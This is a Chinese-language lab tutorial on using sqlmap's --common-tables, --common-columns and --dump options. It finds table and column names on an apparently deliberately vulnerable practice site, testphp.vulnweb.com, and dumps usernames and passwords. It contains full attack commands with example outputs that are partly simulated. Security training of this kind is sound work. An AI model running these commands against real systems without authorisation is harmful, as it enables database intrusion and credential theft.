引言
在本实验中,你将探索 sqlmap 的高级技术,用于在标准枚举方法无效时发现数据库表名和列名。这在现实场景中很常见,因为 Web 应用程序会实施强大的过滤或 Web 应用防火墙 (WAF),它们会阻止常见的 SQL 注入载荷。你将学习如何利用 sqlmap 的暴力破解功能,特别是 --common-tables 和 --common-columns 标志,使用内置的词列表来识别隐藏的数据库结构。这次实践经验将为你提供更全面的 SQL 注入测试所需的重要技能。
在本实验中,你将探索 sqlmap 的高级技术,用于在标准枚举方法无效时发现数据库表名和列名。这在现实场景中很常见,因为 Web 应用程序会实施强大的过滤或 Web 应用防火墙 (WAF),它们会阻止常见的 SQL 注入载荷。你将学习如何利用 sqlmap 的暴力破解功能,特别是 --common-tables 和 --common-columns 标志,使用内置的词列表来识别隐藏的数据库结构。这次实践经验将为你提供更全面的 SQL 注入测试所需的重要技能。
在此步骤中,你将模拟一个标准 sqlmap 枚举技术可能无法发现表名和列名的场景。这通常是由于 WAF、严格的过滤或自定义错误处理阻止了 sqlmap 直接推断数据库 schema。虽然我们不会为本次实验设置一个真正易受攻击的应用程序,但我们将使用一个占位符 URL 来演示当直接枚举不可行时 sqlmap 的行为。
首先,让我们尝试一个标准的表和列枚举命令。我们将使用一个虚拟 URL http://testphp.vulnweb.com/listproducts.php?cat=1 作为我们的目标。该 URL 在某些情况下已知存在漏洞,但在此练习中,我们将假设它被配置为阻止直接枚举。
打开你的终端并执行以下 sqlmap 命令。此命令尝试枚举 acuart 数据库的表和列。
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --tables -D acuart --columns -T users --batch
你可能会注意到 sqlmap 在查找表或列时遇到困难,或者它可能会报告未找到表/列,即使它们确实存在。这模拟了一个直接枚举被阻止的场景。--batch 标志告诉 sqlmap 使用默认答案来回答问题,使过程无需交互。
示例输出(可能有所不同,但请注意未发现表/列):
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --sqlmap.org
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is provided 'as is', without warranty of any kind, either expressed or implied.
...
[INFO] fetching tables for database 'acuart'
[INFO] no tables found in database 'acuart'
[INFO] fetching columns for table 'users' in database 'acuart'
[INFO] no columns found in table 'users'
...
此输出表明 sqlmap 无法直接枚举表和列。在这种情况下,暴力破解常见名称成为一种可行的替代方案。
--common-tables 标志暴力破解表名在此步骤中,你将使用 --common-tables 标志来暴力破解表名。此标志指示 sqlmap 使用一个内置的常见表名词列表(例如 users、admin、products、orders)并针对目标进行测试。当直接枚举被阻止时,这尤其有用。
继续使用相同的目标 URL http://testphp.vulnweb.com/listproducts.php?cat=1 和 acuart 数据库。
执行以下 sqlmap 命令:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --common-tables --batch
此命令将指示 sqlmap 尝试识别 acuart 数据库中的常见表名。sqlmap 将遍历其内部词列表并尝试查找存在的表。
示例输出:
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --sqlmap.org
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is provided 'as is', without warranty of any kind, either expressed or implied.
...
[INFO] fetching common tables for database 'acuart'
[INFO] retrieved common table: 'users'
[INFO] retrieved common table: 'products'
[INFO] retrieved common table: 'categories'
...
Database: acuart
[3 tables]
+------------+
| categories |
| products |
| users |
+------------+
...
你现在应该看到 sqlmap 成功识别出常见的表名,如 users、products 和 categories。这证明了在标准枚举失败时暴力破解的有效性。
在此步骤中,你将回顾上一个命令的输出,以了解 sqlmap 成功识别了哪些常见表。此分析对于规划 SQL 注入过程中的下一步至关重要,因为了解表名可以让你定位特定数据。
从上一个命令的输出中,sqlmap 应该列出了几个常见表。例如,你可能看到了:
Database: acuart
[3 tables]
+------------+
| categories |
| products |
| users |
+------------+
这些是 sqlmap 通过暴力破解其内部词列表找到的表。像 users 这样的表的存在尤其值得关注,因为它通常包含敏感信息,如用户名和密码。
花点时间检查你终端中的输出。识别 sqlmap 发现的表名。这些名称将在后续步骤中用于暴力破解列名。
此步骤不需要特定的命令,因为它涉及分析上一个命令的输出。此步骤强调理解你的 sqlmap 操作的结果。
--common-columns 标志暴力破解列名既然你已经识别了常见的表名,你就可以继续在这些表中暴力破解列名了。与 --common-tables 类似,--common-columns 标志使用一个内置的常见列名词列表(例如 username、password、email、id)来发现无法直接枚举的列。
假设你在上一步中找到了 users 表。你现在将尝试在 acuart 数据库的 users 表中暴力破解列名。
执行以下 sqlmap 命令:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --common-columns --batch
此命令指示 sqlmap 在 acuart 数据库的 users 表中查找常见的列名。
示例输出:
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --sqlmap.org
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is provided 'as is', without warranty of any kind, either expressed or implied.
...
[INFO] fetching common columns for table 'users' in database 'acuart'
[INFO] retrieved common column: 'id'
[INFO] retrieved common column: 'username'
[INFO] retrieved common column: 'password'
[INFO] retrieved common column: 'email'
...
Database: acuart
Table: users
[4 columns]
+----------+-----------+
| Column | Type |
+----------+-----------+
| id | int(11) |
| username | varchar(50) |
| password | varchar(50) |
| email | varchar(100)|
+----------+-----------+
...
你应该看到 sqlmap 在 users 表中成功识别出常见的列名,如 id、username、password 和 email。这表明即使在直接枚举被阻止的情况下,暴力破解也能揭示关键信息。
在最后一步中,你将结合暴力破解表名和列名发现与数据转储命令。一旦你成功使用 --common-tables 和 --common-columns 标志识别出感兴趣的表和列,你就可以使用 sqlmap 的 --dump 标志来提取实际数据。
假设你在之前的步骤中识别出了 users 表以及 username 和 password 等列,现在你可以尝试转储这些列中的数据。
执行以下 sqlmap 命令来转储 acuart 数据库 users 表中的 username 和 password 列的数据:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C username,password --dump --batch
此命令将指示 sqlmap 从指定的列中检索数据。
示例输出:
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --sqlmap.org
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is provided 'as is', without warranty of any kind, either expressed or implied.
...
[INFO] fetching entries for columns 'username,password' in table 'users' of database 'acuart'
...
Database: acuart
Table: users
[2 entries]
+----------+----------+
| username | password |
+----------+----------+
| test | test |
| admin | admin |
+----------+----------+
...
你应该看到 sqlmap 成功地转储了 username 和 password 列中的数据。这展示了完整的流程:识别标准枚举失败的场景,使用暴力破解发现隐藏的结构,最后提取敏感数据。这项技术是你 SQL 注入工具箱中的一个强大补充。
在本实验中,你学习了如何在标准枚举方法被阻止或失败时,有效地使用 sqlmap 的暴力破解功能来发现表名和列名。你从模拟直接枚举不成功的场景开始。然后,你成功地使用了 --common-tables 标志来识别常见的表名,并使用 --common-columns 标志来查找这些表中的常见列名。最后,你将这些发现技术与 --dump 标志结合使用,从已识别的列中提取数据。这次实践经验为你提供了高级 SQL 注入测试的关键技能,使你能够绕过常见的防御措施并从易受攻击的数据库中检索有价值的信息。